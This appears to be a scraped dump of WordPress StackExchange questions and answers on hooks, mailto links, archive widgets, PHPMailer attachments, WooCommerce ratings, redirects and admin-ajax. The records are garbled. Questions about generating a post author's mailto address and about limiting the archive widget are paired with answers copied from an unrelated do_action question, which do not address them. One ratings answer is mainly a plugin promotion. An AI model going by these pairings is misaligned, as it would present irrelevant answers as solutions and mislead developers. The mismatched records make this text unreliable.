[ { "answer_id": 290512, "author": "Scruffy Paws", "author_id": 28787, "author_profile": "https://wordpress.stackexchange.com/users/28787", "pm_score": 2, "selected": false, "text": "<p>It sounds like you are looking for <code>do_action()</code> In your method that you wrote add do_action and it will trigger your new custom action. Then you can use <code>add_action()</code> in the same way you use the build in actions.</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/do_action/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/do_action/</a></p>\n\n<p>Example of your method in the class...</p>\n\n<pre><code>public function some_method() {\n $foo = 'puppy';\n $bar = 'bunny';\n do_action( 'my_nifty_action', $foo, $bar );\n}\n</code></pre>\n\n<p>Somewhere else you can then add the call to your action...</p>\n\n<pre><code>add_action( 'my_nifty_action', 'my_custom_function', 10, 2 );\n\nfunction my_custom_function( $foo, $bar ) {\n // ... your code here\n}\n</code></pre>\n" }, { "answer_id": 290516, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<p>So you want to run code when another function runs?</p>\n\n<p>No. You can't do that with actions/filters. For it to work, the function would need to fire a hook/filter that you could hook into. If it does not do this then you're going to have to fork the plugin</p>\n" } ]
2018/01/08
[ "https://wordpress.stackexchange.com/questions/290510", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134479/" ]
I want to use a method from a plugin as a hook, not the callback. I want to use a custom function I wrote as the callback, that gets triggered when a particular method from a plugin runs. Essentially something like : ``` add_action( array( "NAME OF CLASS", NAME OF METHOD" ), "MY CUSTOM FUNCTION" ) ) ``` I can't figure out how to do this, any help or direction would be greatly appreciated! I've verified the method and class exist in functions.php with the method\_exists() function. EDIT: I'm using plugins called Groups and Groups\_File\_Access to handle file access and downloads on my site. The class is "Groups\_File\_Access"" and the method inside is "groups\_file\_served". I did not write this plugin. That method gets triggered when someone accesses a file and I want to run a custom function when "groups\_file\_served" get called by hooking onto it. Was trying to avoid editing the plugin itself, but looks like I'm going to need to.
It sounds like you are looking for `do_action()` In your method that you wrote add do\_action and it will trigger your new custom action. Then you can use `add_action()` in the same way you use the build in actions. <https://developer.wordpress.org/reference/functions/do_action/> Example of your method in the class... ``` public function some_method() { $foo = 'puppy'; $bar = 'bunny'; do_action( 'my_nifty_action', $foo, $bar ); } ``` Somewhere else you can then add the call to your action... ``` add_action( 'my_nifty_action', 'my_custom_function', 10, 2 ); function my_custom_function( $foo, $bar ) { // ... your code here } ```
290,522
<p>In a theme I'm developing I would like to have a button with a mailto: href so that it when a user clicks on it, it generates the email address dependent on the post author.</p> <p>I've managed to get it so that the email subject is generated from the post title by simply using the the_title(); </p> <p>I can't seem to work out how to dynamically generate the email address though. I need to replace the "[email protected]" part that is hard-coded below to automatically be the post author's email that is registered in their user profile in the back end. </p> <p>I was looking at get_the_author_meta(); function, but this only seems to allow you to add a parameter for 'user_email' and then you have to manually add the user ID, which again is no use.</p> <pre><code>&lt;a href="mailto:[email protected]?subject=&lt;?php the_title(); ?&gt;"&gt;Apply&lt;/a&gt; </code></pre> <p>Any help would be amazing.</p>
[ { "answer_id": 290512, "author": "Scruffy Paws", "author_id": 28787, "author_profile": "https://wordpress.stackexchange.com/users/28787", "pm_score": 2, "selected": false, "text": "<p>It sounds like you are looking for <code>do_action()</code> In your method that you wrote add do_action and it will trigger your new custom action. Then you can use <code>add_action()</code> in the same way you use the build in actions.</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/do_action/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/do_action/</a></p>\n\n<p>Example of your method in the class...</p>\n\n<pre><code>public function some_method() {\n $foo = 'puppy';\n $bar = 'bunny';\n do_action( 'my_nifty_action', $foo, $bar );\n}\n</code></pre>\n\n<p>Somewhere else you can then add the call to your action...</p>\n\n<pre><code>add_action( 'my_nifty_action', 'my_custom_function', 10, 2 );\n\nfunction my_custom_function( $foo, $bar ) {\n // ... your code here\n}\n</code></pre>\n" }, { "answer_id": 290516, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<p>So you want to run code when another function runs?</p>\n\n<p>No. You can't do that with actions/filters. For it to work, the function would need to fire a hook/filter that you could hook into. If it does not do this then you're going to have to fork the plugin</p>\n" } ]
2018/01/08
[ "https://wordpress.stackexchange.com/questions/290522", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/106972/" ]
In a theme I'm developing I would like to have a button with a mailto: href so that it when a user clicks on it, it generates the email address dependent on the post author. I've managed to get it so that the email subject is generated from the post title by simply using the the\_title(); I can't seem to work out how to dynamically generate the email address though. I need to replace the "[email protected]" part that is hard-coded below to automatically be the post author's email that is registered in their user profile in the back end. I was looking at get\_the\_author\_meta(); function, but this only seems to allow you to add a parameter for 'user\_email' and then you have to manually add the user ID, which again is no use. ``` <a href="mailto:[email protected]?subject=<?php the_title(); ?>">Apply</a> ``` Any help would be amazing.
It sounds like you are looking for `do_action()` In your method that you wrote add do\_action and it will trigger your new custom action. Then you can use `add_action()` in the same way you use the build in actions. <https://developer.wordpress.org/reference/functions/do_action/> Example of your method in the class... ``` public function some_method() { $foo = 'puppy'; $bar = 'bunny'; do_action( 'my_nifty_action', $foo, $bar ); } ``` Somewhere else you can then add the call to your action... ``` add_action( 'my_nifty_action', 'my_custom_function', 10, 2 ); function my_custom_function( $foo, $bar ) { // ... your code here } ```
290,537
<p>I am using Wordpress archive widget to display archives of My WordPress site. But there is a condition, I want to display only last year archives, not this year. I am using inbuilt widget, so what can I do to stop this year's archive coming on the widget?</p>
[ { "answer_id": 290512, "author": "Scruffy Paws", "author_id": 28787, "author_profile": "https://wordpress.stackexchange.com/users/28787", "pm_score": 2, "selected": false, "text": "<p>It sounds like you are looking for <code>do_action()</code> In your method that you wrote add do_action and it will trigger your new custom action. Then you can use <code>add_action()</code> in the same way you use the build in actions.</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/do_action/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/do_action/</a></p>\n\n<p>Example of your method in the class...</p>\n\n<pre><code>public function some_method() {\n $foo = 'puppy';\n $bar = 'bunny';\n do_action( 'my_nifty_action', $foo, $bar );\n}\n</code></pre>\n\n<p>Somewhere else you can then add the call to your action...</p>\n\n<pre><code>add_action( 'my_nifty_action', 'my_custom_function', 10, 2 );\n\nfunction my_custom_function( $foo, $bar ) {\n // ... your code here\n}\n</code></pre>\n" }, { "answer_id": 290516, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<p>So you want to run code when another function runs?</p>\n\n<p>No. You can't do that with actions/filters. For it to work, the function would need to fire a hook/filter that you could hook into. If it does not do this then you're going to have to fork the plugin</p>\n" } ]
2018/01/09
[ "https://wordpress.stackexchange.com/questions/290537", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134497/" ]
I am using Wordpress archive widget to display archives of My WordPress site. But there is a condition, I want to display only last year archives, not this year. I am using inbuilt widget, so what can I do to stop this year's archive coming on the widget?
It sounds like you are looking for `do_action()` In your method that you wrote add do\_action and it will trigger your new custom action. Then you can use `add_action()` in the same way you use the build in actions. <https://developer.wordpress.org/reference/functions/do_action/> Example of your method in the class... ``` public function some_method() { $foo = 'puppy'; $bar = 'bunny'; do_action( 'my_nifty_action', $foo, $bar ); } ``` Somewhere else you can then add the call to your action... ``` add_action( 'my_nifty_action', 'my_custom_function', 10, 2 ); function my_custom_function( $foo, $bar ) { // ... your code here } ```
290,549
<p>I am getting dynamic content on page load and sending it via mail using wp_mail(). Right now all contents going in body section of email but I want it to store in .doc(MS word) file and then send that file as an attachment. </p> <p>I can send attachment via wp_mail(). But I am not getting any solution about how to auto create file and store all html content in file. I search a lot on google but couldn't find anything helpful. Is there any possible way of doing this in wordpress?</p>
[ { "answer_id": 290556, "author": "HU is Sebastian", "author_id": 56587, "author_profile": "https://wordpress.stackexchange.com/users/56587", "pm_score": 2, "selected": false, "text": "<p>Can't help you with the creation of the .doc-file, as i have never done that. But if you manage to get the encoded file into a string, you can work with the Wordpress PHP-Mailer instance like this:</p>\n\n<pre><code>function send_my_mail_with_attachment($from,$to,$subject,$body,$attachmentstring=\"\"){\n global $phpmailer;\n // (Re)create it, if it's gone missing\n if ( ! ( $phpmailer instanceof PHPMailer ) ) {\n require_once ABSPATH . WPINC . '/class-phpmailer.php';\n require_once ABSPATH . WPINC . '/class-smtp.php';\n $phpmailer = new PHPMailer( true );\n }\n $phpmailer-&gt;CharSet = 'UTF-8';\n $phpmailer-&gt;ClearAllRecipients();\n $phpmailer-&gt;ClearAttachments();\n $phpmailer-&gt;ClearCustomHeaders();\n $phpmailer-&gt;ClearReplyTos();\n $fromaddress=$from;\n $phpmailer-&gt;setFrom($fromaddress);\n $phpmailer-&gt;Sender = $phpmailer-&gt;From;\n $phpmailer-&gt;addAddress($to);\n $phpmailer-&gt;isHTML(true); // Set email format to HTML\n $phpmailer-&gt;Subject = $subject;\n $phpmailer-&gt;Body = $body;\n if($attachmentstring){\n $phpmailer-&gt;AddStringAttachment($attachmentstring,'my_attachment.doc');\n }\n $rueckgabe = $phpmailer-&gt;Send(); \n return $rueckgabe;\n}\n</code></pre>\n\n<p>You can learn more about PHPMailer <a href=\"https://github.com/PHPMailer/PHPMailer\" rel=\"nofollow noreferrer\">here</a></p>\n" }, { "answer_id": 290558, "author": "Sid", "author_id": 110516, "author_profile": "https://wordpress.stackexchange.com/users/110516", "pm_score": 1, "selected": false, "text": "<p>If a document is meant to open on someone else's computer it's always a good practice to send it in a PDF format, that way you can maintain the styling and font of the document.</p>\n\n<p>If you agree, you can use <a href=\"http://www.fpdf.org/\" rel=\"nofollow noreferrer\">FPDF</a> to create PDF files with dynamic content. </p>\n\n<p>here is a code example:</p>\n\n<pre><code>$pdf = new FPDF();\n$pdf-&gt;AddPage();\n$pdf-&gt;SetFont('Arial','B',14);\n$pdf-&gt;Rect(10, 10, 190, 135, 'D');\n$pdf-&gt;Image('http://example.com/img/logo.jpg',12,12,0,0,'JPG');\n$pdf-&gt;Cell(78);\n$pdf-&gt;SetTextColor(255,0,0);\n$pdf-&gt;Cell(30,10,'Document Title');\n$pdf-&gt;Ln(5);\n$op = $pdf-&gt;Output();\n</code></pre>\n\n<p>you can generate and save the pdf on your server and then use the method suggested by @kuchenundkakao to attach it to the email.</p>\n" } ]
2018/01/09
[ "https://wordpress.stackexchange.com/questions/290549", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/81621/" ]
I am getting dynamic content on page load and sending it via mail using wp\_mail(). Right now all contents going in body section of email but I want it to store in .doc(MS word) file and then send that file as an attachment. I can send attachment via wp\_mail(). But I am not getting any solution about how to auto create file and store all html content in file. I search a lot on google but couldn't find anything helpful. Is there any possible way of doing this in wordpress?
Can't help you with the creation of the .doc-file, as i have never done that. But if you manage to get the encoded file into a string, you can work with the Wordpress PHP-Mailer instance like this: ``` function send_my_mail_with_attachment($from,$to,$subject,$body,$attachmentstring=""){ global $phpmailer; // (Re)create it, if it's gone missing if ( ! ( $phpmailer instanceof PHPMailer ) ) { require_once ABSPATH . WPINC . '/class-phpmailer.php'; require_once ABSPATH . WPINC . '/class-smtp.php'; $phpmailer = new PHPMailer( true ); } $phpmailer->CharSet = 'UTF-8'; $phpmailer->ClearAllRecipients(); $phpmailer->ClearAttachments(); $phpmailer->ClearCustomHeaders(); $phpmailer->ClearReplyTos(); $fromaddress=$from; $phpmailer->setFrom($fromaddress); $phpmailer->Sender = $phpmailer->From; $phpmailer->addAddress($to); $phpmailer->isHTML(true); // Set email format to HTML $phpmailer->Subject = $subject; $phpmailer->Body = $body; if($attachmentstring){ $phpmailer->AddStringAttachment($attachmentstring,'my_attachment.doc'); } $rueckgabe = $phpmailer->Send(); return $rueckgabe; } ``` You can learn more about PHPMailer [here](https://github.com/PHPMailer/PHPMailer)
290,572
<p>On my WooCommerce site I am trying to output the star rating for a product that is reviewed. Instead, it outputs this:</p> <blockquote> <p>Rated 3.38 out of 5 based on 8 customer ratings</p> </blockquote> <p>What am I missing with the following code?</p> <pre><code>$rating_count = $product-&gt;get_rating_count(); $review_count = $product-&gt;get_review_count(); $average = $product-&gt;get_average_rating(); echo wc_get_rating_html( $average, $rating_count ); </code></pre> <p>When I switch from my custom theme to default WordPress theme, the ratings then show.</p>
[ { "answer_id": 299038, "author": "Regolith", "author_id": 103884, "author_profile": "https://wordpress.stackexchange.com/users/103884", "pm_score": 3, "selected": false, "text": "<p>Suffered with same problem. Finally after lot of search and trial I came up with this solution.</p>\n\n<p>This gets the template where the rating is displayed from. But it displays like this: <code>Rated 4.50 out of 5 based on 2 customer ratings (2 customer reviews)</code></p>\n\n<pre><code>&lt;div class=\"rating-custom\"&gt;\n &lt;?php wc_get_template( 'single-product/rating.php' ); ?&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>Then paste this css code in a custom css.</p>\n\n<pre><code>/*star rating for products*/\n.rating-custom div.product .woocommerce-product-rating {\n margin-bottom: 1.618em;\n}\n\n.rating-custom .woocommerce-product-rating .star-rating {\n margin: .5em 4px 0 0;\n float: left;\n}\n\n.rating-custom .woocommerce-product-rating::after, .rating-custom .woocommerce-product-rating::before {\n\n content: ' ';\n display: table;\n\n}\n\n.rating-custom .woocommerce-product-rating {\n line-height: 2;\n}\n\n.rating-custom .star-rating {\n float: right;\n overflow: hidden;\n position: relative;\n height: 1em;\n line-height: 1;\n font-size: 1em;\n width: 5.4em;\n font-family: star;\n}\n\n.rating-custom .star-rating::before {\n content: '\\73\\73\\73\\73\\73';\n color: #d3ced2;\n float: left;\n top: 0;\n left: 0;\n position: absolute;\n}\n\n.rating-custom .star-rating {\n line-height: 1;\n font-size: 1em;\n font-family: star;\n}\n\n.rating-custom .star-rating span {\n overflow: hidden;\n float: left;\n top: 0;\n left: 0;\n position: absolute;\n padding-top: 1.5em;\n}\n\n.rating-custom .star-rating span::before {\n content: '\\53\\53\\53\\53\\53';\n top: 0;\n position: absolute;\n left: 0;\n}\n\n.rating-custom .star-rating span {\n\n overflow: hidden;\n float: left;\n top: 0;\n left: 0;\n position: absolute;\n padding-top: 1.5em;\n\n}\n</code></pre>\n\n<p>Output:</p>\n\n<p><a href=\"https://i.stack.imgur.com/sOpd2.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/sOpd2.png\" alt=\"rating output\"></a></p>\n" }, { "answer_id": 328159, "author": "Alex", "author_id": 160876, "author_profile": "https://wordpress.stackexchange.com/users/160876", "pm_score": -1, "selected": false, "text": "<p>Perhaps, it is easier to integrate an existing solution to achieve what you want. \nSee image below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/R98Rg.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/R98Rg.png\" alt=\"Rating Score\"></a></p>\n\n<p>I recently found TrustFeed reviews for WooCommerce, it helped me to replace the basic and boring WooCommerce reviews forms with an advanced and dynamic rating and reviews solution that actually inspire shoppers to buy more!</p>\n\n<p>The plugin is free and can be dowloaded via official WordPress plugin repository:</p>\n\n<p><a href=\"https://wordpress.org/plugins/trustfeed-reviews-and-customer-feedback-for-woocommerce/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/trustfeed-reviews-and-customer-feedback-for-woocommerce/</a> </p>\n\n<p>It comes with special features to help honest online businesses to collect and showcase customer reviews to boost sales, conversions, trust and social proof. </p>\n\n<p>Some special features are:</p>\n\n<ul>\n<li>Create custom satisfaction surveys\n\n<ul>\n<li>Star Ratings</li>\n<li>Dynamic Tags</li>\n<li>Text Reviews</li>\n<li>More coming…</li>\n</ul></li>\n<li>Send Mail After Purchase emails to encourage shoppers to leave reviews.</li>\n<li>Collect reviews at scale.</li>\n<li>Showcase reviews on key conversion points of your website.</li>\n<li>Display your reviews in an useful, responsive and customizable format.</li>\n<li>Moderate and manage feedback/reviews.</li>\n<li>Create a mini-site to increase your SEO with User Generated Content</li>\n<li>Customize widget’s look and feel.</li>\n<li>Learn from data driven insights</li>\n</ul>\n\n<p>Thee good news. You can start for free!</p>\n\n<ul>\n<li>To learn more about TrustFeed you can visit www.trustfeed.co</li>\n<li>To view the admin panel, just login at <a href=\"https://admin.trustfeed.co\" rel=\"nofollow noreferrer\">https://admin.trustfeed.co</a> and create a free account.</li>\n</ul>\n" }, { "answer_id": 372149, "author": "black_belt", "author_id": 30913, "author_profile": "https://wordpress.stackexchange.com/users/30913", "pm_score": 1, "selected": false, "text": "<p>Just make sure the parent container contains the css class <code>woocommerce</code> like following:</p>\n<pre><code>&lt;div class=&quot;woocommerce&quot;&gt;\n &lt;?php wc_single_product_ratings(); ?&gt;\n&lt;/div&gt;\n</code></pre>\n" } ]
2018/01/09
[ "https://wordpress.stackexchange.com/questions/290572", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/1354/" ]
On my WooCommerce site I am trying to output the star rating for a product that is reviewed. Instead, it outputs this: > > Rated 3.38 out of 5 based on 8 customer ratings > > > What am I missing with the following code? ``` $rating_count = $product->get_rating_count(); $review_count = $product->get_review_count(); $average = $product->get_average_rating(); echo wc_get_rating_html( $average, $rating_count ); ``` When I switch from my custom theme to default WordPress theme, the ratings then show.
Suffered with same problem. Finally after lot of search and trial I came up with this solution. This gets the template where the rating is displayed from. But it displays like this: `Rated 4.50 out of 5 based on 2 customer ratings (2 customer reviews)` ``` <div class="rating-custom"> <?php wc_get_template( 'single-product/rating.php' ); ?> </div> ``` Then paste this css code in a custom css. ``` /*star rating for products*/ .rating-custom div.product .woocommerce-product-rating { margin-bottom: 1.618em; } .rating-custom .woocommerce-product-rating .star-rating { margin: .5em 4px 0 0; float: left; } .rating-custom .woocommerce-product-rating::after, .rating-custom .woocommerce-product-rating::before { content: ' '; display: table; } .rating-custom .woocommerce-product-rating { line-height: 2; } .rating-custom .star-rating { float: right; overflow: hidden; position: relative; height: 1em; line-height: 1; font-size: 1em; width: 5.4em; font-family: star; } .rating-custom .star-rating::before { content: '\73\73\73\73\73'; color: #d3ced2; float: left; top: 0; left: 0; position: absolute; } .rating-custom .star-rating { line-height: 1; font-size: 1em; font-family: star; } .rating-custom .star-rating span { overflow: hidden; float: left; top: 0; left: 0; position: absolute; padding-top: 1.5em; } .rating-custom .star-rating span::before { content: '\53\53\53\53\53'; top: 0; position: absolute; left: 0; } .rating-custom .star-rating span { overflow: hidden; float: left; top: 0; left: 0; position: absolute; padding-top: 1.5em; } ``` Output: [![rating output](https://i.stack.imgur.com/sOpd2.png)](https://i.stack.imgur.com/sOpd2.png)
290,574
<p>i'm bad at redirection so i'm asking you.</p> <p>I have my old site with some posts like www.oldsite.com/category/my-awesome-post, www.oldsite.com/category/my-awesome-post-2 ...</p> <p>I would like to redirect each URL to a new domain like www.newsite.com/category/my-awesome-post</p> <p>so all URL will be redirect dynamiccaly. </p> <p>Is it possible.</p> <p>Thank you</p>
[ { "answer_id": 290579, "author": "knif3r", "author_id": 94644, "author_profile": "https://wordpress.stackexchange.com/users/94644", "pm_score": 0, "selected": false, "text": "<p>If you want 301/302 redirect sitewide my suggestion is to use .htaccess file, but that's not a good practice at all. Anyway the code should be something like this </p>\n\n<pre><code>Options +FollowSymLinks\nRewriteEngine On\nRewriteBase /\nRewriteCond %{HTTP_HOST} ^OLDDOMAIN\\.com$ [NC]\nRewriteRule ^(.*)$ http://NEWDOMAIN.com [R=301,L]\n</code></pre>\n\n<p>Note: Change the R=301 to whatever you would want where R=301 would mean permanent redirect and R=302 would mean temprorary redirect.</p>\n\n<p>If you want to migrate your site to a new wp install on another domain, you need to use the WP Migrate DB plugin that can be found here : <a href=\"https://wordpress.org/plugins/wp-migrate-db/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/wp-migrate-db/</a></p>\n\n<p>The plugin do a really dirty job of replacing every single url in your db with a new one, which by hand is not really cool process.. You then need to import the db via phpMyAdmin or other interface to the new place and change all static links on the pages if there are any.</p>\n" }, { "answer_id": 290580, "author": "Mostafa Soufi", "author_id": 106877, "author_profile": "https://wordpress.stackexchange.com/users/106877", "pm_score": -1, "selected": false, "text": "<p>Please try to check the below links:</p>\n<blockquote>\n<p><a href=\"http://www.wpbeginner.com/beginners-guide/beginners-guide-to-creating-redirects-in-wordpress/\" rel=\"nofollow noreferrer\">http://www.wpbeginner.com/beginners-guide/beginners-guide-to-creating-redirects-in-wordpress/</a></p>\n<p><a href=\"https://stackoverflow.com/questions/8819706/redirect-all-traffic-to-root-of-another-domain\">https://stackoverflow.com/questions/8819706/redirect-all-traffic-to-root-of-another-domain</a></p>\n<p><a href=\"https://stackoverflow.com/questions/1945568/htaccess-redirect-all-pages-to-new-domain\">https://stackoverflow.com/questions/1945568/htaccess-redirect-all-pages-to-new-domain</a></p>\n<p><a href=\"https://www.inmotionhosting.com/support/website/redirects/setting-up-a-301-permanent-redirect-via-htaccess\" rel=\"nofollow noreferrer\">https://www.inmotionhosting.com/support/website/redirects/setting-up-a-301-permanent-redirect-via-htaccess</a></p>\n<p><a href=\"https://stackoverflow.com/questions/15362458/redirect-all-pages-to-new-domain\">https://stackoverflow.com/questions/15362458/redirect-all-pages-to-new-domain</a></p>\n<p><a href=\"https://stackoverflow.com/questions/3255967/htaccess-redirect-all-requests-to-different-domain\">https://stackoverflow.com/questions/3255967/htaccess-redirect-all-requests-to-different-domain</a></p>\n<p><a href=\"http://www.orderofbusiness.net/blog/redirect-old-domain-to-new-domain-via-htaccess/\" rel=\"nofollow noreferrer\">http://www.orderofbusiness.net/blog/redirect-old-domain-to-new-domain-via-htaccess/</a></p>\n</blockquote>\n" } ]
2018/01/09
[ "https://wordpress.stackexchange.com/questions/290574", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134525/" ]
i'm bad at redirection so i'm asking you. I have my old site with some posts like www.oldsite.com/category/my-awesome-post, www.oldsite.com/category/my-awesome-post-2 ... I would like to redirect each URL to a new domain like www.newsite.com/category/my-awesome-post so all URL will be redirect dynamiccaly. Is it possible. Thank you
If you want 301/302 redirect sitewide my suggestion is to use .htaccess file, but that's not a good practice at all. Anyway the code should be something like this ``` Options +FollowSymLinks RewriteEngine On RewriteBase / RewriteCond %{HTTP_HOST} ^OLDDOMAIN\.com$ [NC] RewriteRule ^(.*)$ http://NEWDOMAIN.com [R=301,L] ``` Note: Change the R=301 to whatever you would want where R=301 would mean permanent redirect and R=302 would mean temprorary redirect. If you want to migrate your site to a new wp install on another domain, you need to use the WP Migrate DB plugin that can be found here : <https://wordpress.org/plugins/wp-migrate-db/> The plugin do a really dirty job of replacing every single url in your db with a new one, which by hand is not really cool process.. You then need to import the db via phpMyAdmin or other interface to the new place and change all static links on the pages if there are any.
290,582
<p>How can I prevent an email being sent when the order is marked as Completed?</p>
[ { "answer_id": 290595, "author": "rudtek", "author_id": 77767, "author_profile": "https://wordpress.stackexchange.com/users/77767", "pm_score": 1, "selected": false, "text": "<p>you can unhook the email action by placing this code in your functions.php:</p>\n\n<pre><code>remove_action( 'woocommerce_order_status_completed_notification', array( $email_class-&gt;emails['WC_Email_Customer_Completed_Order'], 'trigger' ) );\n</code></pre>\n" }, { "answer_id": 348431, "author": "anhduc.bkhn", "author_id": 143204, "author_profile": "https://wordpress.stackexchange.com/users/143204", "pm_score": 0, "selected": false, "text": "<p>@Klevis Miho</p>\n\n<blockquote>\n <blockquote>\n <p>add_action( 'woocommerce_email', 'unhook_those_pesky_emails' );</p>\n \n <p>function unhook_those_pesky_emails( $email_class ) {\n remove_action( 'woocommerce_order_status_completed_notification', array( $email_class->emails['WC_Email_Customer_Completed_Order'], 'trigger' ) );\n }</p>\n </blockquote>\n</blockquote>\n" } ]
2018/01/09
[ "https://wordpress.stackexchange.com/questions/290582", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/25239/" ]
How can I prevent an email being sent when the order is marked as Completed?
you can unhook the email action by placing this code in your functions.php: ``` remove_action( 'woocommerce_order_status_completed_notification', array( $email_class->emails['WC_Email_Customer_Completed_Order'], 'trigger' ) ); ```
290,631
<p>I'm trying to create the hooks and function for the php to receive my ajax call and when the response is alerted, all I receive is 0.</p> <p>I suppose my question is, are the add_action hooks supposed to go into the bottom of the admin-ajax.php file or are they supposed to go elsewhere? Keep in mind that my Ajax request is on a custom template .php file.</p> <p>Here's the code for reference:</p> <pre><code>add_action( 'wp_ajax_my_ajax_action', 'my_ajax_action_callback' ); add_action( 'wp_ajax_nopriv_my_ajax_action', 'my_ajax_action_callback' ); function my_ajax_action_callback(){ echo "Baffles"; $first_name = isset( $_POST['first_name'] ) ? $_POST['first_name'] : 'N/A'; $last_name = isset( $_POST['last_name'] ) ? $_POST['last_name'] : 'N/A'; ?&gt; &lt;p&gt;Hello. Your First Name is &lt;?php echo $first_name; ?&gt;.&lt;/p&gt; &lt;p&gt;And your last name is &lt;?php echo $last_name; ?&gt;.&lt;/p&gt; &lt;?php die(); // required. to end AJAX request. } </code></pre> <p>Jquery/Ajax Request</p> <pre><code>jQuery(document).ready(function () { $.ajax({ type: 'POST', url: '../wp-admin/admin-ajax.php', data: { action : 'my_ajax_action', // load function hooked to: "wp_ajax_*" action hook first_name : 'John', // PHP: $_POST['first_name'] last_name : 'Cena', // PHP: $_POST['last_name'] }, success: function (result) { alert(result); }, error: function () { alert("error"); } }); }); </code></pre>
[ { "answer_id": 290654, "author": "DHL17", "author_id": 125227, "author_profile": "https://wordpress.stackexchange.com/users/125227", "pm_score": 3, "selected": true, "text": "<p>may be here is the error </p>\n\n<pre><code>add_action( 'wp_ajax_my_ajax_action', 'my_ajax_action_callback' );\nadd_action( 'wp_ajax_nopriv_my_ajax_action', 'my_ajax_action_callback' );\n</code></pre>\n\n<p>change to</p>\n\n<pre><code>add_action( 'wp_ajax_my_ajax_action_callback', 'my_ajax_action_callback' );\nadd_action('wp_ajax_nopriv_my_ajax_action_callback','my_ajax_action_callback' );\n</code></pre>\n\n<p>and in ajax change:</p>\n\n<pre><code>action : 'my_ajax_action_callback\n</code></pre>\n\n<p>go to <code>functions.php</code> and add: </p>\n\n<pre><code>require(dirname(__FILE__) . '/custom_template.php'); \n</code></pre>\n\n<p>make sure your ajax <code>url</code> is correct!!</p>\n" }, { "answer_id": 290687, "author": "Seth Spivey", "author_id": 134557, "author_profile": "https://wordpress.stackexchange.com/users/134557", "pm_score": 0, "selected": false, "text": "<p>Here's what's worked for me. I'm still trying to figure out how to output the php results into an array so that they can be stored in the select element. I'll update this when I get it figured out.</p>\n\n<pre><code>function add_ajaxurl_cdata_to_front(){ ?&gt;\n&lt;script type=\"text/javascript\"&gt;\n ajaxurl = '&lt;?php echo admin_url( 'admin-ajax.php'); ?&gt;'\n&lt;/script&gt;\n\n&lt;?php }\n add_action( 'wp_head', 'add_ajaxurl_cdata_to_front', 1);\n add_action( 'wp_footer', 'add_js_to_wp_footer' );\n function add_js_to_wp_footer() { ?&gt;\n &lt;script type=\"text/javascript\"&gt;\n jQuery(\"#field_6_17 select\").on('change', function() {\n\n var product_line = jQuery(this).val();\n\n jQuery.ajax({\n type: 'POST',\n url: ajaxurl,\n data: {\n \"action\": \"view_site_description\",\n first_name : 'John', // PHP: $_POST['first_name']\n last_name : 'Cena',\n }, success: function(data){\n\n console.log('product_line');\n jQuery('select#input_6_26 option').html(data);\n }\n });\n return false;\n});\n&lt;/script&gt;\n&lt;?php } \n function view_site_description(){\n global $wpdb;\n\n $first_name = isset( $_POST['first_name'] ) ? $_POST['first_name'] : 'N/A';\n $last_name = isset( $_POST['last_name'] ) ? $_POST['last_name'] : 'N/A';\n ?&gt;\n &lt;p&gt;Hello. Your First Name is &lt;?php echo $first_name; ?&gt;.&lt;/p&gt;\n &lt;p&gt;And your last name is &lt;?php echo $last_name; ?&gt;.&lt;/p&gt;&lt;?php\n\n die();\n }\n add_action( 'wp_ajax_view_site_description', 'view_site_description' );\n add_action( 'wp_ajax_nopriv_view_site_description', 'view_site_description' );\n</code></pre>\n" } ]
2018/01/09
[ "https://wordpress.stackexchange.com/questions/290631", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134557/" ]
I'm trying to create the hooks and function for the php to receive my ajax call and when the response is alerted, all I receive is 0. I suppose my question is, are the add\_action hooks supposed to go into the bottom of the admin-ajax.php file or are they supposed to go elsewhere? Keep in mind that my Ajax request is on a custom template .php file. Here's the code for reference: ``` add_action( 'wp_ajax_my_ajax_action', 'my_ajax_action_callback' ); add_action( 'wp_ajax_nopriv_my_ajax_action', 'my_ajax_action_callback' ); function my_ajax_action_callback(){ echo "Baffles"; $first_name = isset( $_POST['first_name'] ) ? $_POST['first_name'] : 'N/A'; $last_name = isset( $_POST['last_name'] ) ? $_POST['last_name'] : 'N/A'; ?> <p>Hello. Your First Name is <?php echo $first_name; ?>.</p> <p>And your last name is <?php echo $last_name; ?>.</p> <?php die(); // required. to end AJAX request. } ``` Jquery/Ajax Request ``` jQuery(document).ready(function () { $.ajax({ type: 'POST', url: '../wp-admin/admin-ajax.php', data: { action : 'my_ajax_action', // load function hooked to: "wp_ajax_*" action hook first_name : 'John', // PHP: $_POST['first_name'] last_name : 'Cena', // PHP: $_POST['last_name'] }, success: function (result) { alert(result); }, error: function () { alert("error"); } }); }); ```
